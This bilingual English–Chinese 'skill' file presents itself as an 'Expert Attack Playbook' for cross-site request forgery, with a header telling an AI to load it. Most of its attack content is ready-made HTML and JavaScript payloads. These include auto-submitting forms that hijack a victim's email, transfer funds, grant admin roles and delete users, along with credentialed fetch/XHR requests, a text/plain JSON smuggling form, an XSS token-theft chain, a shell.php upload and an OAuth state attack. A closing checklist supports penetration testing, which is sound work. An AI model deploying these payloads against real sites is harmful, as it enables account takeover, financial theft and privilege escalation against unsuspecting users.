csrf-cross-site-request-forgery

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: CSRF — Cross-Site Request Forgery — Expert Attack Playbook

技能:CSRF(跨站请求伪造)—— 专家攻击手册

AI LOAD INSTRUCTION: Expert CSRF techniques. Covers modern bypass vectors (SameSite gaps, custom header flaws, tokenless bypass patterns), JSON CSRF, multipart CSRF, chaining with XSS. Base models often present only basic CSRF without covering SameSite edge cases and common broken token implementations.
AI加载说明:本手册包含专业CSRF技术,覆盖现代绕过途径(SameSite漏洞、自定义头缺陷、无令牌绕过模式)、JSON CSRF、多部分表单CSRF、与XSS的组合利用。基础模型通常仅介绍基础CSRF知识,不会覆盖SameSite边界场景和常见的令牌实现缺陷。

0. RELATED ROUTING

0. 关联技能路由

Also load:
  • cors cross origin misconfiguration when JSON endpoints become readable cross-origin
  • oauth oidc misconfiguration when login, account linking, or callback binding relies on OAuth state

请同时加载:
  • cors跨域配置错误 当JSON端点可被跨域读取时使用
  • oauth oidc配置错误 当登录、账号关联或回调绑定依赖OAuth state参数时使用

1. CORE CONCEPT

1. 核心概念

CSRF exploits a victim's active session to perform state-changing requests from the attacker's origin.
Required conditions:
  1. Victim is authenticated (active session cookie)
  2. Server identifies session via cookie only (no secondary check)
  3. Attacker can predict/construct the valid request
  4. Cookie is sent cross-origin (SameSite=None or legacy behavior)

CSRF利用受害者的活跃会话,从攻击者的源站发起状态变更请求。
必要触发条件
  1. 受害者已通过身份认证(持有有效会话Cookie)
  2. 服务端仅通过Cookie识别会话(无二次校验)
  3. 攻击者可以预测/构造合法的请求结构
  4. Cookie可被跨域携带(SameSite=None或 legacy 兼容模式)

2. FINDING CSRF TARGETS

2. 寻找CSRF攻击目标

High-value state-changing endpoints:
- Password change         ← account takeover
- Email change            ← account takeover
- Add admin / change role ← privilege escalation
- Bank/payment transfer   ← financial impact
- OAuth app authorization ← hijack oauth flow
- Account deletion
- Two-factor auth disable  
- SSH key / API key addition
- Webhook configuration
- Profile/contact info update

高价值状态变更端点
- 密码修改         ← 账户接管
- 邮箱修改         ← 账户接管
- 添加管理员/修改角色 ← 权限提升
- 银行/支付转账     ← 财产损失
- OAuth应用授权     ← 劫持OAuth流程
- 账户删除
- 双因素认证关闭  
- SSH密钥/API密钥新增
- Webhook配置
- 个人资料/联系方式更新

3. TOKEN BYPASS TECHNIQUES

3. 令牌绕过技术

No Token Present

无令牌场景

Simplest case — form simply lacks CSRF token. Check if POST /change-email has any token. If not → trivially exploitable.
最简单的情况——表单完全没有CSRF令牌。检查POST /change-email请求是否携带任何令牌,如果没有→极易被利用。

Token Not Validated (most common finding!)

令牌未校验(最常见的漏洞!)

Token exists in request but is never verified server-side:
Remove the _csrf_token parameter entirely → does request still succeed?
→ YES → trivial bypass
请求中存在令牌但服务端从未验证其有效性:
完全删除_csrf_token参数 → 请求是否仍然成功?
→ 是 → 可直接绕过

Token Tied to Session but Not to User

令牌与会话绑定但未与用户绑定

Step 1: Log in as UserA → obtain valid CSRF token
Step 2: Log in as UserB in other browser → obtain UserB CSRF token  
Step 3: Use UserB's CSRF token in UserA's session (attacker controls UserB)
→ If server validates token exists but doesn't check if it belongs to the session → bypass
步骤1:登录用户A账号 → 获取有效的CSRF令牌
步骤2:在其他浏览器登录用户B账号 → 获取用户B的CSRF令牌  
步骤3:在用户A的会话中使用用户B的CSRF令牌(攻击者可控制用户B账号)
→ 如果服务端仅校验令牌是否存在,不校验是否属于当前会话 → 绕过成功

Token in Cookie Only

令牌仅存放在Cookie中

When server sets CSRF token as cookie and expects it back in a header/form:
Set-Cookie: csrf=ATTACKER_CONTROLLED
→ If cookie can be set by subdomain (cookie tossing): set cookie to known value
→ Submit form with known token in header + known token in cookie = bypass
当服务端将CSRF令牌设置为Cookie,同时要求请求头/表单中回传该令牌:
Set-Cookie: csrf=ATTACKER_CONTROLLED
→ 如果子域名可以设置Cookie(cookie投掷):将Cookie设置为已知值
→ 提交请求时在请求头中携带已知令牌 + Cookie中携带已知令牌 = 绕过成功

Static or Predictable Token

静态或可预测令牌

→ Same token across all users/sessions
→ Token = base64(username) or md5(session_id) → reversible
→ Token = timestamp → predictable
→ 所有用户/会话使用相同的令牌
→ 令牌 = base64(用户名) 或 md5(会话ID) → 可逆向破解
→ 令牌 = 时间戳 → 可预测

Double Submit Cookie Pattern (broken if subdomain trusted)

双重提交Cookie模式(子域名可信时存在缺陷)

If attacker can write cookies for .target.com from subdomain XSS or cookie tossing:
→ Set csrf_cookie=CONTROLLED on .target.com
→ Submit request with X-CSRF-Token: CONTROLLED
→ Server checks header == cookie → match → bypass

如果攻击者可以通过子域名XSS或cookie投掷向.target.com写入Cookie:
→ 向.target.com设置csrf_cookie=CONTROLLED
→ 提交请求时携带X-CSRF-Token: CONTROLLED
→ 服务端校验请求头值与Cookie值是否一致 → 匹配 → 绕过成功

4. SAMESITE BYPASS SCENARIOS

4. SameSite绕过场景

SameSite=Lax (modern browser default): cookies sent for top-level GET navigation, NOT for cross-site iframe/form POST.
Bypass SameSite=Lax via GET method:
html
<!-- If server accepts GET for state-changing endpoint: -->
<img src="https://target.com/account/delete?confirm=yes">
<script>document.location = 'https://target.com/transfer?to=attacker&amount=1000';</script>
Bypass via subdomain XSS (SameSite Lax/Strict):
javascript
// XSS on sub.target.com → same-site origin → SameSite cookies sent!
// Use XSS as staging point for CSRF
window.location = 'https://target.com/account/modify?evil=true';
SameSite=None (legacy or explicit): cookies sent everywhere → classic CSRF applies.
Cookie issued recently? Lax exemption: Chrome has a 2-minute exception where Lax cookies ARE sent on cross-site POSTs if the cookie was just set (for OAuth flows). Race window: set cookie, immediately trigger CSRF within 2 minutes.

SameSite=Lax(现代浏览器默认配置):仅顶级域名GET跳转时携带Cookie,跨域iframe/表单POST请求不会携带Cookie。
通过GET方法绕过SameSite=Lax
html
<!-- 如果服务端允许状态变更端点接收GET请求: -->
<img src="https://target.com/account/delete?confirm=yes">
<script>document.location = 'https://target.com/transfer?to=attacker&amount=1000';</script>
通过子域名XSS绕过(SameSite Lax/Strict均可绕过)
javascript
// sub.target.com上的XSS → 同站源 → 会携带SameSite Cookie!
// 利用XSS作为CSRF的跳板
window.location = 'https://target.com/account/modify?evil=true';
SameSite=None(legacy模式或显式配置):所有场景都携带Cookie → 经典CSRF攻击适用。
Cookie是刚刚下发的?Lax豁免规则: Chrome存在2分钟豁免期:如果Cookie刚被设置,跨域POST请求也会携带Lax Cookie(为适配OAuth流程)。可利用时间窗口:设置Cookie后2分钟内立即触发CSRF。

5. CSRF PROOF OF CONCEPT TEMPLATES

5. CSRF Proof of Concept 模板

Simple Form POST

简单表单POST

html
<html>
<body>
<form id="csrf" action="https://target.com/account/email/change" method="POST">
  <input type="hidden" name="email" value="attacker@evil.com">
  <input type="hidden" name="confirm_email" value="attacker@evil.com">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
html
<html>
<body>
<form id="csrf" action="https://target.com/account/email/change" method="POST">
  <input type="hidden" name="email" value="attacker@evil.com">
  <input type="hidden" name="confirm_email" value="attacker@evil.com">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

Auto-click Submit

自动点击提交

html
<body onload="document.forms[0].submit()">
<form action="https://target.com/transfer" method="POST">
  <input name="to" value="attacker_account">
  <input name="amount" value="10000">
</form>
</body>
html
<body onload="document.forms[0].submit()">
<form action="https://target.com/transfer" method="POST">
  <input name="to" value="attacker_account">
  <input name="amount" value="10000">
</form>
</body>

CSRF via GET (with img tag)

通过GET发起CSRF(使用img标签)

html
<img src="https://target.com/api/v1/admin/delete-user?id=12345" style="display:none">
html
<img src="https://target.com/api/v1/admin/delete-user?id=12345" style="display:none">

CSRF with Custom Header (XMLHttpRequest — same-origin only, defeats naive defenses)

携带自定义头的CSRF(XMLHttpRequest — 仅同站适用,可绕过基础防御)

If API requires custom header like
X-CSRF-Token
but also accepts JSON with wildcard CORS — custom headers don't protect if CORS misconfigured:
javascript
// If Access-Control-Allow-Origin: * with credentials → broken
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.com/api/transfer");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;  // still need cookie sending
xhr.send('{"to":"attacker","amount":1000}');

如果API要求携带
X-CSRF-Token
这类自定义头,但同时允许通配符CORS的JSON请求 — 如果CORS配置错误,自定义头无法起到防护作用:
javascript
// 如果存在Access-Control-Allow-Origin: *且允许携带凭证 → 存在漏洞
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.com/api/transfer");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;  // 仍需要携带Cookie
xhr.send('{"to":"attacker","amount":1000}');

6. JSON CSRF

6. JSON CSRF

When endpoint accepts
Content-Type: application/json
— fetch() with CORS credentials:
javascript
// If CORS allows credentials + the endpoint:
fetch('https://target.com/api/v1/change-email', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: 'attacker@evil.com'})
});
Requires:
Access-Control-Allow-Origin: https://attacker.com
AND
Access-Control-Allow-Credentials: true
If server only accepts
application/json
but no fetch CORS:
Can't do proper JSON CSRF from HTML form (forms can only send
application/x-www-form-urlencoded
,
multipart/form-data
,
text/plain
).
Trick — Content-Type Downgrade: If server processes
text/plain
body as JSON:
html
<form enctype="text/plain" method="POST" action="https://target.com/api">
  <input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
Resulting body:
{"email":"attacker@evil.com","ignore":"="}

当端点接受
Content-Type: application/json
格式请求 — 可通过fetch()携带CORS凭证发起攻击:
javascript
// 如果CORS允许携带凭证且放行攻击者源站:
fetch('https://target.com/api/v1/change-email', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: 'attacker@evil.com'})
});
触发条件
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
如果服务端仅接受
application/json
但未配置fetch CORS:
无法通过HTML表单发起正常的JSON CSRF(表单仅支持发送
application/x-www-form-urlencoded
multipart/form-data
text/plain
格式内容)。
技巧 — Content-Type降级:如果服务端会将
text/plain
请求体当作JSON处理:
html
<form enctype="text/plain" method="POST" action="https://target.com/api">
  <input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
最终请求体:
{"email":"attacker@evil.com","ignore":"="}

7. MULTIPART CSRF

7. 多部分表单CSRF

When changing
Content-Type
from
application/json
to
multipart/form-data
and request still works:
html
<form method="POST" action="https://target.com/api/update" enctype="multipart/form-data">
  <input name="email" value="attacker@evil.com">
</form>

Content-Type
application/json
改为
multipart/form-data
时请求仍可正常处理:
html
<form method="POST" action="https://target.com/api/update" enctype="multipart/form-data">
  <input name="email" value="attacker@evil.com">
</form>

8. CSRF + XSS COMBINATION (CSRF Token Bypass)

8. CSRF + XSS 组合利用(绕过CSRF令牌)

When CSRF protection is otherwise solid, XSS enables CSRF bypass:
javascript
// Step 1: XSS reads CSRF token from DOM
var token = document.querySelector('input[name="csrf_token"]').value;
// Step 2: Submit CSRF request with real token
var xhr = new XMLHttpRequest();
xhr.open('POST', '/account/delete', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('confirm=yes&csrf_token=' + token);

当CSRF防护机制本身很完善时,XSS可以实现CSRF绕过:
javascript
// 步骤1:通过XSS从DOM中读取CSRF令牌
var token = document.querySelector('input[name="csrf_token"]').value;
// 步骤2:携带真实令牌提交CSRF请求
var xhr = new XMLHttpRequest();
xhr.open('POST', '/account/delete', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('confirm=yes&csrf_token=' + token);

9. OAUTH CSRF (STATE PARAMETER MISSING)

9. OAuth CSRF(缺少state参数)

OAuth flow without
state
parameter → CSRF on the OAuth authorization:
Attack:
  1. Attacker initiates OAuth flow, gets authorization code
  2. Before exchanging code, stops the flow (captures the redirect URL with code)
  3. Sends victim the crafted URL:
    https://target.com/oauth/callback?code=ATTACKER_CODE
  4. Victim's browser exchanges the attacker's code → victim's account linked to attacker's OAuth provider
Impact: Attacker can log in as victim.

OAuth流程未携带
state
参数 → OAuth授权环节存在CSRF漏洞:
攻击流程
  1. 攻击者发起OAuth流程,获取授权码
  2. 交换授权码前终止流程(捕获携带授权码的回调URL)
  3. 向受害者发送构造好的URL:
    https://target.com/oauth/callback?code=ATTACKER_CODE
  4. 受害者浏览器交换攻击者的授权码 → 受害者账号被绑定到攻击者的OAuth提供商
影响:攻击者可以登录受害者账号。

10. CSRF TESTING CHECKLIST

10. CSRF测试 checklist

□ Remove CSRF token entirely → does request succeed?
□ Change CSRF token to random value → does request succeed?
□ Use CSRF token from another user's session → does request succeed?
□ Check if GET version of POST endpoint exists
□ Check SameSite attribute of session cookie
□ Test if Content-Type change (json → form → text/plain) still processes
□ Check CORS policy: does Access-Control-Allow-Credentials: true appear?
   With wildcard or attacker origin? → exploitable JSON CSRF
□ Check OAuth flows for missing state parameter
□ Test referrer-based protection: send request with no Referer header
□ Test referrer-based protection: spoof subdomain in referer

□ 完全删除CSRF令牌 → 请求是否仍然成功?
□ 将CSRF令牌改为随机值 → 请求是否仍然成功?
□ 使用其他用户会话的CSRF令牌 → 请求是否仍然成功?
□ 检查POST端点是否存在对应的GET版本
□ 检查会话Cookie的SameSite属性
□ 测试修改Content-Type(json → 表单 → text/plain)后请求是否仍被处理
□ 检查CORS策略:是否存在Access-Control-Allow-Credentials: true?
   同时配置了通配符或攻击者源站? → 存在可利用的JSON CSRF
□ 检查OAuth流程是否缺少state参数
□ 测试基于Referer的防护:发送无Referer头的请求
□ 测试基于Referer的防护:在Referer中伪造子域名

11. JSON CSRF TECHNIQUES

11. JSON CSRF技术

Method 1: text/plain Disguise

方法1:伪装为text/plain

html
<!-- Browser sends Content-Type: text/plain with JSON-like body -->
<form action="https://target.com/api/role" method="POST" enctype="text/plain">
  <input name='{"role":"admin","ignore":"' value='"}' type="hidden">
  <input type="submit" value="Click me">
</form>
<!-- Resulting body: {"role":"admin","ignore":"="} -->
<!-- Server may parse as JSON if it doesn't strictly check Content-Type -->
html
<!-- 浏览器会发送Content-Type: text/plain头,请求体为类JSON格式 -->
<form action="https://target.com/api/role" method="POST" enctype="text/plain">
  <input name='{"role":"admin","ignore":"' value='"}' type="hidden">
  <input type="submit" value="点击我">
</form>
<!-- 最终请求体: {"role":"admin","ignore":"="} -->
<!-- 如果服务端不严格校验Content-Type,可能会将其解析为JSON -->

Method 2: XHR with Credentials

方法2:携带凭证的XHR请求

html
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.com/api/role", true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send('{"role":"admin"}');
</script>
<!-- Only works if CORS allows the origin (misconfigured CORS + CSRF combo) -->
html
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.com/api/role", true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send('{"role":"admin"}');
</script>
<!-- 仅当CORS放行攻击者源站时生效(CORS配置错误+CSRF组合漏洞) -->

Method 3: fetch() API

方法3:fetch() API

html
<script>
fetch("https://target.com/api/role", {
  method: "POST",
  credentials: "include",
  headers: {"Content-Type": "text/plain"},
  body: '{"role":"admin"}'
});
</script>

html
<script>
fetch("https://target.com/api/role", {
  method: "POST",
  credentials: "include",
  headers: {"Content-Type": "text/plain"},
  body: '{"role":"admin"}'
});
</script>

12. MULTIPART CSRF & CLIENT-SIDE PATH TRAVERSAL

12. 多部分表单CSRF与客户端路径遍历

Multipart File Upload CSRF

多部分文件上传CSRF

html
<script>
var formData = new FormData();
formData.append("file", new Blob(["malicious content"], {type: "text/plain"}), "shell.php");
formData.append("action", "upload");

fetch("https://target.com/upload", {
  method: "POST",
  credentials: "include",
  body: formData
});
</script>
html
<script>
var formData = new FormData();
formData.append("file", new Blob(["malicious content"], {type: "text/plain"}), "shell.php");
formData.append("action", "upload");

fetch("https://target.com/upload", {
  method: "POST",
  credentials: "include",
  body: formData
});
</script>

Client-Side Path Traversal to CSRF (CSPT2CSRF)

客户端路径遍历转CSRF(CSPT2CSRF)

Normal flow: Frontend fetches /api/user/PROFILE_ID/settings
Attack: Set PROFILE_ID to ../../admin/dangerous-action

Result: Frontend's fetch() hits /api/admin/dangerous-action with victim's cookies
This converts a path traversal into a CSRF-like attack without needing a CSRF token
AspectTraditional CSRFCSPT2CSRF
OriginAttacker's siteSame-origin JavaScript
Token bypassNeeds token forgeryNo token needed (same-origin)
SameSiteBlocked by SameSite=StrictBypasses SameSite (same site!)
DetectionStandard CSRF checksRequires input validation on path segments
正常流程:前端请求 /api/user/PROFILE_ID/settings
攻击:将PROFILE_ID设为 ../../admin/dangerous-action

结果:前端的fetch()请求会携带受害者Cookie访问 /api/admin/dangerous-action
无需CSRF令牌即可将路径遍历漏洞转为类CSRF攻击
维度传统CSRFCSPT2CSRF
发起源攻击者站点同站JavaScript
令牌绕过需要伪造令牌无需令牌(同站请求)
SameSite限制会被SameSite=Strict拦截绕过SameSite限制(同站请求)
检测方式标准CSRF检查需要对路径片段做输入校验